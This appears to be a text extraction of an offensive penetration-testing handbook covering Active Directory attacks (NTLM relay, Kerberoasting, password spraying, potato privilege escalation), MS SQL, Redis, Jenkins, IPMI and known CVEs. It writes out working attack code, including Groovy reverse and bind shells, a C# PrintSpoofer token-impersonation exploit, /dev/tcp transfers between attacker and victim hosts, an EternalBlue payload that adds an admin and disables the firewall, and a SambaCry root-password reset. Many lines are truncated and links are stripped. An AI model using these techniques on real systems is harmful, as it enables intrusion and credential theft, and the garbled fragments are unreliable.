DecodeUserAccountControl.ps1
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
$UACPropertyFlags = @(
"SCRIPT",
"ACCOUNTDISABLE",
"RESERVED",
"HOMEDIR_REQUIRED",
"LOCKOUT",
"PASSWD_NOTREQD",
"PASSWD_CANT_CHANGE",
"ENCRYPTED_TEXT_PWD_ALLOWED",
"TEMP_DUPLICATE_ACCOUNT",
"NORMAL_ACCOUNT",
"RESERVED",
"INTERDOMAIN_TRUST_ACCOUNT",
"WORKSTATION_TRUST_ACCOUNT",
"SERVER_TRUST_ACCOUNT",
"RESERVED",
"RESERVED",
"DONT_EXPIRE_PASSWORD",
"MNS_LOGON_ACCOUNT",
"SMARTCARD_REQUIRED",
"TRUSTED_FOR_DELEGATION",
"NOT_DELEGATED",
"USE_DES_KEY_ONLY",
"DONT_REQ_PREAUTH",
"PASSWORD_EXPIRED",
"TRUSTED_TO_AUTH_FOR_DELEGATION",
"RESERVED",
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($[Link]) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-
Return $Attributes
}
Mitigations
[Link]
[Link]
HKLM\System\CurrentControlSet\Servi
LdapServerIntegrity
ces\NTDS\Parameters\
HKLM\System\CurrentControlSet\Servi
LdapEnforceChannelBinding
ces\NTDS\Parameters\
Tools
RSAT-AD-PowerShell
[Link]
[Link]
Example Queries
List disabled users (when searching for users use objectCategory + objectClass filters):
List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:
List users marked as trusted for delegation ( TRUSTED_FOR_DELEGATION UAC value is 524288 ):
Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all
groups that they are members of (including nested groups):
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDelete
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -Include
ldap3 (Python)
Check if anonymous bind is allowed:
ldap-utils
ldapsearch
[Link]
Install:
Basic syntax:
Extract data for the whole domain catalog and then grep your way through:
SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this
to work):
$ [Link] [Link]/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/[Link]
$ ldapsearch -H ldap://[Link] -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | te
ldapmodify
[Link]
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: [Link]
windapsearch
[Link]
[Link]
Enumerate users in Protected Users group which are also trusted for unconstrained delegation:
Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into
a csv file:
go-windapsearch
[Link]
Find user accounts which require smart card authentication ( SMARTCARD_REQUIRED UAC value is
262144 ):
ldapsearch-ad
[Link]
[Link]
ldeep
[Link]
Nmap NSE
LDAPmonitor
[Link]
BOFHound
[Link]
game
[Link]
[Link]
NTLM
NT / LM Hashes
[Link]
Calculate NTLM
[Link]
With Python:
[Link]
[Link]#L149
[Link]
[Link]
Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.
<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>
<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>
[Link]
[Link]
[Link]
DivertTCPconn
[Link]
Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port
(meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:
StreamDivert
[Link]
Divert all inbound TCP connections to port 445 (SMB) coming from [Link] to [Link] port 445:
Cmd > powershell -c "Add-Content [Link] 'tcp < 445 [Link] -> [Link] 445'"
Cmd > .\[Link] .\[Link] -f -v
NTLM Relay
[Link]
[Link]
[Link]
[Link]
[Link]
everywhere/
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
for-fun-and-profit/
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Generate relay list with cme and enumerate local admins when relaying:
Relay NTLM2 responses obtained from Responder's proxy authentication (Responder's HTTP must be
Off ):
$ [Link] -tf [Link] -smb2support --no-wcf-server -wh [Link] --http-port 3128
$ sudo ./[Link] -I eth0 -frd -v -P
CVE-2019-1040-scanner
[Link]
Relaying on Windows
meterpreter + SharpRelay
[Link]
[Link]
Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session
and relay it to Target via MSF SOCKS server.
1. Add a static route to the Target through the 1st meterpreter session:
3. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB
traffic on Victim to Victim's local 8445 port:
When ran once, the driver must be unloaded or the host rebooted before trying again. The fake
service can be deleted with a PowerShell command:
beacon + PortBender
[Link]
[Link]
Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:
Stop PortBender:
beacon> jobs
beacon> jobkill <JID>
beacon> kill <PID>
NTLMv1 Downgrade
[Link]
Client sends NTLMv1 response when LmCompatibilityLevel exists and is 2 or lower, which can be
downgraded to "NTLMv1 w/o SSP" when NtlmMinClientSec is 0x20 or lower:
Property Name Property Path
HKLM\SYSTEM\CurrentControlSet\Contr
LmCompatibilityLevel
ol\Lsa
HKLM\SYSTEM\CurrentControlSet\Contr
NtlmMinClientSec
ol\Lsa\MSV1_0
Check
Check with PowerShell:
Exploit
Authentication Coercion
Exploit with Responder with a known challenge of 1122334455667788 (see Authentication Coercion
to trigger callbacks):
ntlmv1-multi + [Link]
[Link]
[Link]
[Link]
[Link]
Password Spraying
Password Policy
Enumerate password policy in the domain:
Длительность блокировки
Lockout duration (minutes): 30
(минут):
[Link]
[Link]
Map FGPPs to the users they're being applied to (need admin privileges by default):
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest
approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO
properties populated (can be read by a regular user) from the spray list.
Check if exists:
[Link]
RID Cycling
If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ( $IPC share):
CrackMapExec:
rpcclient:
net:
smbclient (check):
enum4linux / enum4linux-ng:
nullinux:
$ [Link] [Link]
Authenticated
MSF
kerbrute
[Link]
[Link]
[Link]
Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't
cause accounts lock out):
pyKerbrute
[Link]
$ python2 ADPwdSpray py 192 168 1 11 megacorp local users txt ntlmhash fc525c9683e8fe067095ba2
smartbrute
[Link]
$ smartbrute -v brute --delay 100 --no-enumeration -bU [Link] -bh <HASH_TO_SPRAY> kerberos
DomainPasswordSpray
[Link]
Post Exploitation
Post Exploitation in Active Directory
GPOs
Identify the OU containing the VICTIM-PC object:
3. Remove Authenticated Users from Security Filtering and add VICTIM-PC there.
Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:
Enable RDP
<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Allow users to connect remotely using Remote Desktop Services
Enabled, OK
<POLICY_NAME>
Computer Configuration
Policies
Windows Settings
Security Settings
Windows Defender Firewall with Advanced Security
Inbound Rules
(right-click) New Rule
Predefined (Remote Desktop)
Allow the connection, Finish
<POLICY_NAME>
Computer Configuration
Preferences
Control Panel Settings
Local Users and Groups
(right-click) New > Local Group
Group name (...)
Members (Add), OK
Apply, OK
<POLICY_NAME>
Computer Configuration
Policies
Administrative Templates
Windows Components
Remote Desktop Services
Remote Desktop Session Host
Connections
Set rules for remote control of Terminal Services user sessions
Enabled + Options (Full Control without user's permission), OK
<POLICY_NAME>
Computer Configuration
Policies
Preferences
Control Panel Settings
Scheduled Tasks
(right-click) New > Immediate Task (At least Windows 7)
How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios
If you find yourself in a situation when you're already a domain admin and you need to access a locked-
down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil
GPO may help.
Create a GPO using PowerShell (will trigger a command when the victim user logs in):
Shadow RDP
[Link]
[Link]
[Link]
Enable Shadow RDP via group policies and connect to an active session on the target machine:
How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios
An example PowerShell script to execute commands as a local admin on all domain computers pulling
LAPS passwords automatically:
ADComputersCmd.ps1
# Save with Encoding "UTF-8 with BOM"
[[Link]]::OutputEncoding = [[Link]]::UTF8
$ErrorActionPreference = "Stop"
do {
Write-Host -ForegroundColor Green "[*] Waiting for script to f
Start-Sleep -Seconds 2
} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc
PrivExchange
CVE-2019-0686, CVE-2019-0724
[Link]
[Link]
Check:
Exploit:
Privileges Abuse
[Link]
escalation/
[Link]
[Link]
SeBackupPrivilege
SeBackupPrivilege
[Link]
[Link]
wget [Link]
wget [Link]
upload [Link]
upload [Link]
Import-Module .\[Link]
Import-Module .\[Link]
Copy-FileSeBackupPrivilege W:\Windows\NTDS\[Link] C:\Users\snovvcrash\Documents\[Link] -Ov
download [Link]
robocopy
[Link]
SeImpersonatePrivilege
Restore Privileges
[Link]
Potatoes
[Link]
[Link]
RottenPotato
[Link]
system/
[Link]
JuicyPotato
[Link]
[Link]
[Link]
[Link]
...Using [Link]...
Cmd > .\[Link] -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820} -l 1337 -p C:\Windows\System32\sp
RoguePotato
[Link]
[Link]
Redirect traffic that comes to 135 port on Attacker ( [Link] ) with socat back to the Victim
( [Link] ) on port 9999 (RogueOxidResolver is running locally on port 9999 on Victim):
Trigger the potato to run a binary with high privileges (don't forget to start a listener if sending a reverse
shell):
[Link]
GenericPotato
[Link]
[Link]
EfsPotato
[Link]
Tools
SweetPotato
[Link]
MultiPotato
[Link]
PrintSpoofer
[Link]
[Link]
[Link]
BadPotato.ps1
Exploit:
C# Implementation
[Link]
[Link]
[Link]
[Link]
73e6ed/SharpNamedPipePTH/[Link]
[Link]
[Link]
using System;
using [Link];
using [Link];
using [Link];
namespace SharpPrintSpoofer
{
class Program
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout([Link])]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout([Link], CharSet = [Link])]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
[StructLayout([Link])]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("[Link]")]
static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSe
[DllImport("[Link]")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("[Link]")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("[Link]")]
static extern IntPtr GetCurrentThread();
[DllImport("[Link]")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);
// Prepare a new permission set for the pipe (Allowed GenercAll for Everyone)
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
ConvertStringSecurityDescriptorToSecurityDescriptor(
"D:(A;OICI;GA;;;WD)",
1,
out [Link],
[Link]);
hToken,
1, // TokenUser
[Link],
tokenInfLength,
out tokenInfLength);
// if not execInteractively
uint dwLogonFlags = 0;
uint dwCreationFlags = 0x8000000; // CREATE_NO_WINDOW
IntPtr lpEnvironment = [Link];
STARTUPINFO si = new STARTUPINFO();
[Link] = [Link](si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (execInteractively)
{
dwLogonFlags = 1; // LOGON_WITH_PROFILE
dwCreationFlags = 0x400; // CREATE_UNICODE_ENVIRONMENT
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
[Link] = @"WinSta0\Default";
}
// Create a new process based on execCommand (binary and args) with the impersonat
[Link]($"[*] Executing command: {execCommand}");
CreateProcessWithTokenW(
hSystemToken,
dwLogonFlags,
null,
execCommand,
dwCreationFlags,
lpEnvironment,
null, // [Link](),
ref si,
out pi);
}
}
}
RID Cycling
Relative Identifier
[Link]
Perform RID cycling attack against a DC with SMB null sessions allowed with [Link]:
With CrackMapExec:
Roasting
ASREPRoasting
Show domain users with DONT_REQ_PREAUTH flag set:
Normal
[Link]
[Link]
ASREPRoast.ps1
[Link]
Rubeus
Targeted
[Link]
"Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes.
We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's
crackable AS-REP, and then change the setting back." (@harmj0y, ref)
Kerberoasting
[Link]
[Link]
[Link]
[Link]
supported-encryption-type
[Link]
[Link]
[Link]
[Link]
[Link]
Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):
Normal
[Link]
In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port
(3268/TCP). For that purposes change ldap:// scheme to gc:// .
Check if there're any brutable kerberoastable users with a path to high value targets having got cracked
NTDS (useful when writing a report):
$ cat ~/ws/enum/[Link] | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t
$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/[Link] | cut -d: -f1 >> t2; done && rm
$ vi t2
...convert domain prefix to domain suffix ([Link]\svcsql -> svcsql@[Link])...
PowerView
[Link]
Rubeus
[Link]
beacon>
beacon> execute-assembly
execute-assembly [Link] --search "(&(sAMAccountType=805306368)(servicePrincipalN
[Link] kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:s
Targeted
"We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the
user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket,
and then repair the serviceprincipalname value." (@harmj0y, ref)
[Link]
[Link]
requesting-rc4-encrypted-tgs-when-aes-is-enabled
[Link]
SCCM Abuse
System Center Configuration Manager
[Link]
[Link]
[Link]
client-push-accounts
[Link]
Tools
[Link]
SMB
Server Message Block
Fingerprint
[Link]
Enumerate SMB version for old versions of Samba (for security reasons modern clients will not initiate
connection with legacy protocols in use):
Mounting
Mount:
Status:
Unmount:
Linux
/etc/samba/[Link]
[global]
map to guest = bad user
server role = standalone server
usershare allow guests = yes
smb ports = 445
[smb]
comment = Samba
path = /srv/smb
guest ok = yes
read only = no
browsable = yes
force user = nobody
Windows
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Tools
rpcclient
$ rpcclient -N -L [Link]
smbclient
$ smbclient -N -L [Link]
$ smbclient -N '\\[Link]\Data'
smbmap
$ smbmap -H [Link]
$ smbmap -H [Link] -u anonymous
$ smbmap -H [Link] -u '' -p ''
$ smbmap -H [Link] -u snovvcrash -p 'Passw0rd!' -R ShareName
$ smbmap -H [Link] -u snovvcrash -p 'Passw0rd!' -R ShareName -A .
RPC
Remote Procedure Call
[Link]
Tools
rpcclient
$ rpcclient -N [Link]
Token Manipulation
[Link]
to-winlogon-exe-80696c8a73b
[Link]
[Link]
[Link]
[Link]
[Link]
tools/blob/main/NtObjectManager/NtTokenFunctions.ps1
[Link]
[Link]
[Link]
Tokenvator
[Link]
windows-tokens/
[Link]
[Link]
SharpImpersonation
[Link]
[Link]
Koh
[Link]
[Link]
User Hunt
[Link]
[Link]
Sessions Enum
[Link]
[Link]
Derivative Local Admins
[Link]
[Link]
[Link]
[Link]
Logon Events
[Link]
Un1k0d3r/RedTeamCSharpScripts/blob/5175f64c111ffcc13250e3cf818f05ca46654af5/[Link]#L1
94
Search for IPs from where the user of interest logged on to current machine (event 4624):
WSUS
Windows Server Update Services
[Link]
HTTP MitM
[Link]
[Link]
[Link]
[Link]
[Link]
Check:
HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
WUServer REG_SZ [Link]
HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
UseWUServer REG_DWORD 0x1
Exploit:
[Link]
# Quick recon of the network
[Link] on
[Link]
privilege-escalation-1-day/
[Link]
services-wsus-to-enable-ntlm-relaying-attacks/
Tools
SharpWSUS
[Link]
[Link]
Zerologon
CVE-2020-1472
Check:
[Link]
Exploit:
[Link]
[Link]
Exploits above will break the domain! Use this technique by @dirkjanm to abuse Zerologon safely:
[Link]
$ sudo [Link] -t dcsync://[Link] -smb2support
$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' [Link] [Link]
RODC Notes
Checking that a DC is a RODC (see if WRITABLE flag is present):
[Link]
c0ecb06e2db9
[Link]
[Link]
odules/kuhl_m_lsadump.c#L2467
[Link]
amp-computer-authentication-through-rodc?forum=winserverDS
"When a user authenticates to an RODC a check is performed to see if the password is cached. If the
password is cached, the RODC will authenticate the user account locally. If the user’s password is not
cached, then the RODC forwards the authentication request to a writable Domain Controller which in turn
authenticates the account and passes the authenticated request back to the RODC. Once the user
account is authenticated, the RODC makes another request for the replication of the user’s password in a
unidirectional replication providing the account has been configured to allow replication. In order to allow
the user password to be cached on RODC, you could set up it by configuring the Password Replication
Policy."
So when authenticating at a RODC and Password Replication Policy rejects caching the machine
password, then STATUS_NO_TRUST_SAM_ACCOUNT may be met.
DevOps
Ansible
Enumeration
When on ansible controller:
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version
Execute Code
Using ad-hoc commands:
[Link]
# ansible-playbook [Link]
$ cat [Link]
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000
Artifactory
[Link]
[Link]
[Link]
Enumeration
Spot running processes:
Files location:
$ find /opt/jfrog/artifactory/var/data/artifactory/filestore
Backup location:
$ find /opt/jfrog/artifactory/var/backup/access
Compromise Database
$ mkdir /tmp/dbcopy
$ sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
$ sudo chmod 755 /tmp/dbcopy/derby
$ sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-[Link]
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;
Containerization
[Link]
Grant a low-priv user admin's privileges across the cluster via REST API:
GitLab
[Link]
[Link]
[Link]
[Link]
[Link]
Also possible to use this payload (instead of IPv6) to bypass filter checks for localhost, but works only with
git:// scheme:
git://[Link]:6379/%0a<REDIS_COMMANDS>
[Link]
[Link]
[Link]
gitlab-rails
Add new admin user from console:
Jenkis
[Link]
[Link]
[Link]
"Manage Jenkis" > "Script Console" > Run.
Execute command:
exec groovy
[Link]
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'whoami'.execute()
[Link](sout, serr)
[Link](1000)
println "out> $sout err> $serr"
Reverse shell:
[Link]
String host = "<LHOST>";
int port = <LPORT>;
String cmd = "/bin/bash"; // or "[Link]" for Windows
while (![Link]()) {
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
[Link]();
[Link]();
[Link](50);
try {
[Link]();
break;
} catch (Exception e) {}
};
[Link]();
[Link]();
Bind shell:
[Link]
int port = <LPORT>;
String cmd="/bin/bash"; // or "[Link]" for Windows
while (![Link]()) {
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
while ([Link]() > 0)
[Link]([Link]());
[Link]();
[Link]();
[Link](50);
try {
[Link]();
break;
} catch (Exception e) {}
};
[Link]();
[Link]();
DBMS
Database Management System
Tools
DBeaver
DBeaver Community
DbVisualizer
DbVisualizer
FireBird
[Link]
MS SQL
Create a new login, map it to the db_owner user and assign the sysadmin role:
Enable xp_cmdshell :
Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa ):
SELECT SYSTEM_USER;
SELECT USER;
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
List databases:
SELECT name FROM master..sysdatabases;
EXEC sp_linkedservers;
[Link]
Crawl Links
[Link]
[Link]
[Link]
[Link]
[Link]
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 ->
SQLSRV01 -> SQLSRV02:
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmds
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configu
[Link]
using System;
using [Link];
namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{
try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}
// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONF
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 [Link]'''';'')
[Link]();
}
}
External Scripts
[Link]
server-ver15
[Link]
Enable external scripts:
EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\[Link]'', ''r'') as f:
print([Link]())
'
[Link]
[Link]
[Link]
[Link]
[Link]
SECURITY/Empire/blob/master/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1
[Link]
C# Examples
[Link]
[Link]
using System;
using [Link];
namespace MSSQL
{
class
{ Program
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{
while ([Link]()) { result += $"{reader[0]}\n"; }
result = [Link]([Link] - 1);
}
catch { }
[Link]();
return result;
}
// Authenticate
string sqlServer = "[Link]";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);
try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}
// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
[Link]($"[*] Executing in context of impersonated user: {result}");
[Link]();
}
}
}
Custom Assemblies
[Link]
using System;
using [Link];
namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = [Link]();
string result = "";
try
{
while ([Link]()) { result += $"{reader[0]}\n"; }
result = [Link]([Link] - 1);
}
catch { }
[Link]();
return result;
}
try
{
[Link]();
[Link]("[+] Auth success!");
}
catch
{
[Link]("[-] Auth failed");
[Link](0);
}
// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
[Link]
using [Link];
using [Link];
using [Link];
{
Process proc = new Process();
[Link] = @"C:\Windows\System32\[Link]";
[Link] = [Link]($@" /c {execCommand}");
[Link] = false;
[Link] = true;
[Link]();
Convert-AssemblyToHex.ps1
$assemblyFile = "[Link]"
$stringBuilder = New-Object -Type [Link]
$fileStream = [[Link]]::OpenRead($assemblyFile)
while (($byte = $[Link]()) -gt -1) {
$[Link]($[Link]("X2")) | Out-Null
}
$[Link]() -join "" | Out-File [Link]
Tools
[Link]
sqsh
[Link]
mssql_shell.py
[Link]
$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD [Link] \Windows\System32\spool\drivers
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAE
mssql-cli
[Link]
PowerUpSQL
[Link]
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS
PS >
> Get-SQLInstanceDomain
Get-SQLQuery -Instance|"[Link],1433"
Get-SQLConnectionTestThreaded -Threads 10 -Username
-Query "select sa -Password
@@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance [Link] -Com
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose
DAFT
[Link]
ESC
[Link]
MySQL / MariaDB
Basic enumeration:
UDF PrivEsc
[Link]
[Link]
[Link]
Install dependencies:
Oracle
[Link]
[Link]
[Link]
[Link]
[Link]
TNS Poison
[Link]
Tools
odat
[Link]
[Link]
[Link]
Redis
[Link]
[Link]/wp-content/uploads/materials/[Link]
[Link]
[Link]
/var/www/html
/home/redis/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
$ for dname in `cat [Link]`; do redis-cli -h [Link] config set dir $dname | grep OK && ec
Web Shell
[Link]
[Link]
[Link]
SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%
SELECT username,password FROM secret_database;
Hydra
Patator
crowbar
[Link]
RDP
File Transfer
[Link]
[Link]
Base64
String to base64 and POST with PowerShell:
Hex
Compress a binary file and transfer it to Windows by copy-pasting commands into the console:
$ upx -9 [Link]
$ exe2hex -x [Link] -p [Link]
$ cat [Link] | xclip -i -sel c
PowerShell
PowerShell upload file:
PS > (New-Object [Link]).UploadFile("[Link] "[Link]")
PowerShell auto detect proxy, download file from remote HTTP server and run it:
PowerShell manually set proxy and upload file to remote HTTP server:
/dev/tcp
Attacker is the sender:
# Sender:
root@kali:~$ tar -zcvf [Link] folder
root@kali:~$ nc -w3 -lvnp 1234 < [Link]
# Recipient:
www-data@victim:~$ bash -c 'cat < /dev/tcp/[Link]/1234 > .[Link]'
www-data@victim:~$ tar -zxvf .[Link]
# Recipient:
root@kali:~$ nc -w3 -lvnp 1234 > [Link]
# Sender:
www-data@victim:~$ bash -c 'cat < [Link] > /dev/tcp/[Link]/1234'
SMB
[Link]
net share
FTP
IPMI
Intelligent Platform Management Interface
[Link]
[Link]
Discovery
Dump Hashes
CVE-2013-4786
Dump hashes:
Guess existing admin username. If ADMIN username is correct, the list command will succeed
(password doesn't matter):
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user set name <ID> snovvcras
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user set password <ID> 'Pass
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user priv <ID> 4
$ ipmitool -I lanplus -C 0 -H [Link] -U ADMIN -P DummyPassw0rd user enable <ID>
Anonymous Authentication
Can be discovered with MSF ipmi_dumphashes but also with ipmitool:
$ ipmitool -I lanplus -H [Link] -U '' -P '' user set password <ID> 'Passw0rd!'
HPE iLO 4
[Link]
[Link]
CVE-2017-12542
[Link]
Kiosk Breakout
[Link]
Windows
[Link]
environments/
[Link]
[Link]
ENV Location
%COMSPEC% "C:\Windows\System32\[Link]"
%COMMONPROGRAMFILES% "C:\Program Files\Common Files"
%HOMEPATH% , %USERPROFILE% "C:\Documents and Settings\Username"
Command Location
shell:System "C:\Windows\System32"
Linux
gtkdialog
HTLM-based pseudo terminal emulator (useful when there's no other terminal apps available):
[Link]
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/[Link]</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run</label>
<action>$CMDTORUN > /tmp/[Link] 2>&1</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>
Low-Hanging Fruits
net_api
CVE-2008-4250, MS08-067
Check:
Exploit:
EternalBlue
CVE-2017-0144, MS17-010
MSF
Check:
Manually
[Link]
[Link]
Or just execute commands on host via zzz_exploit.py (at least one named pipe must be accessible on
target):
$ python zzz_exploit.py
zzz_exploit.py
...
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user snovvcrash Passw0rd! /add')
service_exec(conn, r'cmd /c net localgroup administrators snovvcrash /add')
service_exec(conn, r'cmd /c netsh firewall set opmode disable')
...
FuzzBunch (Wine)
[Link]
[Link]
[Link]
SambaCry
MSF
Manually
[Link]
[Link]
pwn.c
// gcc -shared -fPIC -o [Link] pwn.c
#include <stdio.h>
#include <stdlib.h>
void pwn() {
setresuid(0,0,0);
system("echo 'root:Passw0rd!'|chpasswd");
}
BlueKeep
CVE-2019-0708
Check:
Exploit:
PrintNightmare
CVE-2021-16751, CVE-2021-34527
[Link]
[Link]
Check
CrackMapExec
[Link]
ItWasAllADream
[Link]
Exploit
C/C++
[Link]
LPE:
[Link]
Python
RCE:
[Link]
[Link]
[Link]
